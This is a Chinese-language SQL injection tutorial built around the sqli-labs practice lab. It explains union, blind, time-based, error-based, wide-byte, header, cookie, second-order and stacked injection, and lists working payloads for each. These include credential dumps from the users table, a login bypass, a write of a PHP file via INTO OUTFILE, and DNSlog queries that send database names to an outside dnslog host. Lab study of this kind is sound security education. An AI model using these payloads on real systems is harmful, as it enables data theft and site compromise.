读者需知
1、本文仅供学习使用,由于传播和利用此文所造成的损失均由使用者本人负责,文章作者不为此承担责任
2、本文参考了一些文章,如有侵权请联系本人删除
目录
注入详解
SQL注入
SQL注入漏洞的产生必须满足两个条件:
SQL注入漏洞的危害
注入判断:
SQL注入类型:
按注入点类型
按执行效果类型
布尔盲注
时间盲注
报错注入
宽字节注入
DNSlog外带
sqli-labs部分总结
第五关——基于'字符型报错
第六关——基于"字符型报错
第七关——文件读写注入
第八关——DNSlog外带(基于'的时间盲注)
第九关——基于'时间盲注(无回显)
第十关——基于"的时间盲注(无回显)
第十一关——基于'的post注入
第十二关——基于")的POST注入
第十三关——基于')的报错注入
第十四关——基于"的报错注入
第十五关——基于'的POST注入(DNSLOG外带)
第十六关——基于)的POST注入(DNSLOG外带)
第十七关——基于'的密码报错注入
第十八关——POST的基于'的UA头报错注入
第十九关——POST的基于'的referer头报错注入
第二十一关——基于')的base64加密Cookie注入
第二十二关——基于"的base64加密Cookie注入
第二十三关——基于'的过滤注释符的GET型注入
第二十四关——二阶注入
第二十五关——对or和and的过滤
第二十六关——基于'过滤注释和空格的注入
第二十七关——基于"过滤union和select 的盲注
第二十八关——基于')过滤union和select等的注入
第二十九关 index.php——基于单引号字符型的报错注入
第二十九关 隐藏关login.php——基于单引号的参数污染绕过(HPP)
第三十二关——宽字节注入(33关是get型,34关是post型)
第三十八关——堆叠注入
Web应用程序对用户输入数据的合法性未进行判断或者处理不当,前端传入的参数是攻击者可控的,并且参数被正常的带入到数据库查询,攻击者可以通过构造不同的SQL语句来进行对数据库的操作,正常情况下,攻击者可以对数据库进行高危操作,例如,数据查询、WebShell写入、命令执行等操作。
- 参数是用户可控的,也就是前端传入后端的参数的内容是用户可以控制的。
- 参数被带入数据库进行查询,也就是传入的参数被拼接到SQL语句中,并且被带入到数据库进行查询。
- 数据库信息泄露
- 获取webshell
- 网页篡改
- 网站挂马
- 获取系统权限
- 万能密码
- 敏感文件读取
类型解释:
在web端大概是http://xx.com/news.php?id=1 这种形式,其注入点id类型为数字,所以叫数字型注入点,这一类型的SQL语句原型大概为: select*from 表名 where id=1
在web端大概是http://xxx.com/news.php?name=admin 这种形式,其注入点 name类型为字符类型,所以叫字符型注入,这一类的SQL语句·原型大概为 select* from 表名 where name='name'。注意多了引号
即可以根据返回界面判断条件真假的注入
不能根据页面返回内容判断任何信息,用条件语句查看时间延迟语句是否执行,(即页面返回时间是否增加)来判断
即页面会返回错误信息,或者把注入的语句的结果直接返回在界面中
可以使用union的情况下注入
可以同时执行多条语句的执行时的注入
程序员为防止sql注入,对用户输入中的单引号(‘)进行处理,在单引号前加上斜杠(\)进行转义,这样被处理后的sql语句中,单引号不再具有'作用',仅仅是'内容'而已,换句话说,引号无法发挥和前后单引号闭合的作用,仅仅成为'内容'
payload: id=-1 union select 1,2,3 #
payload: id=-1 union select 1,database(),user()#
payload: id=-1 union select 1,2,table_name from information_schema.tables where table_schema='security' limit 2,1 --+
payload: id=-1 union select 1,2,column_name from information_schema.columns where table_schema="security" and table_name='users' limit 2,1 --+
payload: id=-1 union select 1,username,password from users limit 1,1 --+
前面我们学习了数字型的注入,首先我们从源码上比下数字型和字符型到底有什么本质上的区别呢?
相信大家一定能发现他们之间微小的区别,这也是数字型和字符型上的一个重要的区别,接下来的注入过程,我们只需要去想方设法的闭合掉前面'$id'前面的'和后面的语句及符号就可以了,然后后面就是进行正常的一个注入过程。
我们实际上在MySQL中执行的语句将会是 SELECT*FROM users WHERE id='1' and 1=1 -- ' LIMIT 0,1
此时的LIMIT 0,1便是将会被注释掉,这里的+号在浏览器中会被解析为空格
payload: id=1'
payload: id=1' order by 3 --+
payload:id=-1' union select 1,group_concat(username),group_concat(password) from users --+
继续查询3,发现回显正常
payload:name=231%' order by 3 --+
盲注原理
盲注,即在SQL注入过程中,SQL语句执行查询后,查询数据不能回显到前端,我们需要使用一些特殊的方法进行判断或尝试,这个过程为盲注;
大致流程:
知道了数据库库名长度,接下来就是猜测数据库库名的ASCII,可以使用ascii(sustr(database(),1,1))>,通过修改截断位置猜测它的ASCII,当然也可以直接去猜测他的字符,这里过程比较繁琐,后期我们可以使用Burp的爆破模块对其进行快速的探测。
方法1:判断ASCII, 'and ascii(substr(database(),1,1))=150 --+;
抓包,给substr的偏移量参数添加载荷,然后给ASCII添加载荷,选择集束炸弹模式
获取到数据库名之后继续进行注入,分别注入出各个表名的长度。
第一个表名长度:'and length((select table_name from information_schema.tables where table_schema ='security' limit 0,1))=6 --+
第二个表名长度:'and length((select table_name from information_schema.tables where table_schema ='security' limit 1,1))=8 --+
第三个表名长度:'and length((select table_name from information_schema.tables where table_schema ='security' limit 2,1))=7 --+
' and if(ascii(substr(database(),2,1))<5,sleep(5),1) --+
' and if(length(database())<5,sleep(5),1) --+
相关函数:
- sleep()函数 网页延迟n秒后,输出结果
- if()函数 条件判断函数
- if(a,b,c) if判断句,a为条件,b,c为执行语句;如果a为真就执行b,a为假就执行c;
- ascii()函数、ord()函数 将某个字符串转化为ascii值
- length()函数 获取字符串的长度
- substr()/substring()/mid()函数
- 此函数是用来截取字符串一部分,substr(column_name,start,[length]),length为可选项
时间注入原理:
时间型的注入遇到的条件更为苛刻,数据交互完成以后目标没有错误和正确的页面回显,这种情况我们可以利用时间函数来判断数据有没有在目标数据中得到执行,当然也需要构造闭合;
payload: 1' and sleep(10) --+
payload: 1' and if(1=2,1,sleep(10)) --+
爆库
目前常见的报错注入大约有10种:
其中原理主要是:
主键重复报错原理
' union select 1,2,count(*) from information_schema.tables group by concat(0x7e,floor(rand(0)*2),database()) --+
这里利用到了count()和group by在遇到rand()产生的重复值时报错的思路
如以下payload:
实际上只要是count(*),rand(),group by三个连用就会造成这种报错
//这种报错方法的本质是因为floor(rand(0)*2)的重复性,导致group by语句出错。group by key 的原理是循环读取数据的每一行,将结果保存在临时表中。读取每一行的key时,如果key存在于临时表中,则不在临时表中更新临时表的数据;如果key不在临时表中,则在临时表中插入key所在行的数据。
举个例子,表中的数据如下:
当group by对其进行分组的时候,首先遇到第一个值0,查询虚拟表时发现0不存在,于是需要将0插入到虚拟表,就在这时,floor(rand(0)*2)再次被触发,生成第二个值1,因此最终插入虚拟表的也就是第二个值1﹔然后查询第三个值1,因为已经存在分组1了,就直接计数加1(这时1的计数变为2) ;查询第四个值0的时候,发现0不存在,于是又需要插入,然后floor(rand(0)*2)又被触发,生成第五个值1,因此这时还是往虚拟表里插入键1,但是,键1已经存在了!所以报错!
以sqli-lib的第五关为示例
介绍
宽字节注入原理
mysql_query("set names gbk"); //不安全的编码设置方式
%df%5c = 運
addslashes()函数:会怼 单引号('),双引号("),斜杠(\),和null字符进行转义
原理:
在实际应用场景中,我们一般在进行SQL盲注时,为了效率,在load_file()函数未被禁用的情况下,我们可以结合一些dnslog平台,进行外带注入;
不管是布尔类型盲注还是时间盲注,都需要发送大量的数据包去判断数据,而这很可能会触发WAF防护,因此导致被封IP。所以,如果条件允许,我们可以结合DNSlog来快速的回显数据。MySQL数据库,通过DNSlog盲注需要使用到load_file()函数,该函数不仅能加载本地文件,同时也能对URL发起请求,因为需要使用load_file()函数,所以需要root权限,并且secure_file_priv需要为空。
常见的第三方平台
http://www.dnslog.cn/
dns原理
首先需要一个可以配置的域名,比如ceye.io,然后通过代理商设置域名 ceye.io的nameserver为自己的服务器A,然后再服务器A上配置好DNS Server,这样一来所有ceye.io及其子域名的查询都会到服务器A上,这事就能够实时地监控域名查询请求了。
DNS在解析的时候会留下日志,我们通过读取多级域名的解析日志,来获取信息。
简单来说就是把信息放到高级域名中,传递到DNS服务器,然后读取日志,获取信息。
利用原理
将dnslog平台中特有字段payload带入目标发起dns请求,通过dns解析将请求后的关键信息组合成新的三级域名带出,在dns服务器的dns日志中显示出来;
show variables like '%secure%';查看load_file()可以读取的磁盘。
当secure_file_priv为空,就可以读取磁盘的目录。
当secure_file_priv为G: \,就可以读取G盘的文件。
当secure_file_priv为null,load_file就不能加载文件。
phpstudy通过设置my.ini来配置。secure_file_priv=""就是可以load_flie任意磁盘的文件。
在mysql命令行执行: select load_file( '\\\\afanti.xxxx.ceye.io\\aaa ' );其中afanti就是要注入的查询语句
利用
以sqli=labs靶场第九关为例
1'and (select load_file(concat('\\\\' ,(select hex(database())), '.98lic0.dnslog.cn\\abc')))%23
也可以使用联合查询:
1'union select 1,2,(load_file(concat('\\\\' ,(select hex(user( ))),' .iypjje.dnslog.cn\\abc ' ))) %23
注入时需要注意,尽量使用hex()函数编码一下,不然可能后无法请求,获取数据后,最后将数据decode即可。
Referer注入
环境:referer注入——sqli-labs-less19
UA注入———sqli-labs-less18
COOKIE型注入:HTTP请求的时候会带上客户端的Cookie,注入点存在Cookie当中的某个字段中。
XFF(X-Forwarded-For)注入:HTTP请求中的X-Forwarded-For字段,通过修改X-Forwarded-for头对带入系统的dns进行5QL注入,通常一些网站的防注入功能会记录请求端真实IP地址并写入数据库或文件中,可以通过修改XFF头伪造真实IP。
clien-IP:作用同XFF。
User-Agent注入:有的网站会将客户端使用的操作系统或浏览器版本存入数据库中。
Referer注入:有的网站会将客户端referer存入数据库中。
利用(UA注入也是一样)
测试注入
1',1)#
爆库
'or extractvalue('x',concat(0x7e,(database()))) or'
或者
'or updatexml('x',concat(0x7e,(database())),1) or'
爆表
'or updatexml('x',concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1)),1) or'
爆列
'or updatexml('x',concat(0x7e,(select column_name from information_schema.columns where table_schema=database() and table_name='user' limit 0,1)),1) or'
' union select 1,2,count(*) from information_schema.tables group by concat(floor(rand(0)*2),0x7e,database()) --+
" union select 1,2,count(*) from information_schema.tables group by concat(floor(rand(0)*2),0x7e,database()) --+
')) union select 1,'',3 into outfile 'C://2.php' --+
首先先将mysql.ini中设置secure_file_priv=
为空
然后就能写入内容了
一、DNSlog外带
' and load_file(concat("\\\\",(database()),".3bikh7.dnslog.cn\\ac")) -- -
二、时间盲注
' and if(length(database())<5,sleep(5),1) --+
根据时间差来判断数据
一、利用BP抓包修改数据进行重放,再利用重复报错进行'屏蔽的报错注入
二、基于’万能密码的POST型注入
'or '1' = '1
")union select 1,count(*) from information_schema.tables group by concat(floor(rand(0)*2),0x7e,database()) --+
') union select updatexml(1,concat(0x7e,(select user()),0x7e),1) -- -
') and (updatexml(1,concat(0x7e, database(),0x7e),1))#
" union select updatexml(1,concat(0x7e,(select user()),0x7e),1) -- -
' and load_file(concat("\\\\",(database()),".uqjd2g.dnslog.cn\\aa")) -- -
) and load_file(concat("\\\\",(database()),".hupmbf.dnslog.cn\\aa")) -- -
账号正确,对密码进行报错注入
在代码中可以看到,先是处理账号,如果账号存在,则才能重置密码,也就是说,如果账号不存在,输入密码也是没用的
在这里我们可以看到,后台接收到uname参数时,调用了一个函数进行过滤了用户输入的内容。但是没有对密码进行过滤,所以密码框才是真正的注入点
' and (updatexml(1,concat(0x7e, database(),0x7e),1))#
基于账号密码正确的情况下会爆出UA头的错误
账号:admin 密码:1
',1,updatexml(1,concat(0x7e, database(),0x7e),1))#
我们利用逻辑运算 1=0 来测试,相当于将sql语句改变成INSEERT INTO table VALUES('1',1,1=0)#','Ip','Username')
最后实验结果
',updatexml(1,concat(0x7e, database(),0x7e),1))-- -
#在BP里抓包直接添加cookie会导致出错,卡bug#
利用hackbar插件进行注入
uname=admin' and updatexml(1,concat(0x7e,(select database())),0) #
代码
实验结果
注入语句
uname=-1') union select 1,1,(SELECT GROUP_CONCAT(schema_name) FROM information_schema.schemata) #
注入语句进行base64加密
uname=LTEnKSB1bmlvbiBzZWxlY3QgMSwxLChTRUxFQ1QgR1JPVVBfQ09OQ0FUKHNjaGVtYV9uYW1lKSBGUk9NIGluZm9ybWF0aW9uX3NjaGVtYS5zY2hlbWF0YSkgIw==
代码
实验结果
-1" union select 1,1,(SELECT GROUP_CONCAT(schema_name) FROM information_schema.schemata) #
base加密
LTEiIHVuaW9uIHNlbGVjdCAxLDEsKFNFTEVDVCBHUk9VUF9DT05DQVQoc2NoZW1hX25hbWUpIEZST00gaW5mb3JtYXRpb25fc2NoZW1hLnNjaGVtYXRhKSAj
实验结果
-1' union select 1,database(),3 or 1'
因为注释符被过滤,所以利用逻辑关系将后面进行屏蔽
代码
实验截图
一阶注入和二阶注入区别
一阶注入原理
(1)一阶SQL注入发生在一个HTTP请求和响应中,对系统的攻击是立即执行的;
(2)攻击者在http请求中提交非法输入;
(3)应用程序处理非法输入,使用非法输入构造SQL语句;
(4)在攻击过程中向攻击者返回结果。
二阶注入原理:
(1)攻击者在http请求中提交恶意输入;
(2)恶意输入保存在数据库中;
(3)攻击者提交第二次http请求;
(4)为处理第二次http请求,程序在检索存储在数据库中的恶意输入,构造SQL语句;
(5)如果攻击成功,在第二次请求响应中返回结果。
admin' --
首先先注册一个用户,例如上面这个,然后对这个用户进行更改密码,用更改完毕的密码去登陆admin
1、首先是login.php中进行了符号过滤
2、接下来是login_create.php,同样进行了过滤
3、然后是pass_change.php,其中username参数没有进行过滤,其他都进行了过滤,也就意味着一旦我的用户名拥有注释符,我就可以修改任意用户的密码。
4、用户admin' -- -sql语句
5、然后再pass_change模块更改密码,即将admin密码更改
-1' union select 1,database(),3 --+
代码
利用preg_replace()函数进行替换
实验截图
双写and进行绕过(完了试试绕过)
id=-1'aandnd(updatexml(1,'~aaaa',1))anandd'1'='1
代码
实验截图
将union和select进行大小写过滤和双写过滤
' and (updatexml(1,concat(0x7e, database(),0x7e),1)) --+
login.php?id=1&id=-1' union select 1,2,user()--+
正常使用id=1会跳转到异常界面,所以对其进行参数污染绕过
代码
1、获取查询语句,获取的是URL中?后面的值
2、利用 preg_match(),我们可以完成字符串的规则匹配。如果找到一个匹配,preg_match() 函数返回 1,否则返回 0。
这个正则表达式 意思是 匹配 以数字开头的一个或多个数字且以数字结尾的字符串。
3、找到java_implimentation发现根据&分割字符串并打散为数组
实验截图
-1%df' union select 1,database(),3 --+
代码(将字符进行转换,在前面被加上了反斜杠)
实验截图
1;select 1,2,3;
可以利用;来执行不同语句,
因为是堆叠将结果重叠在一起,所以没有显示,可以利用创建数据库的形式来进行验证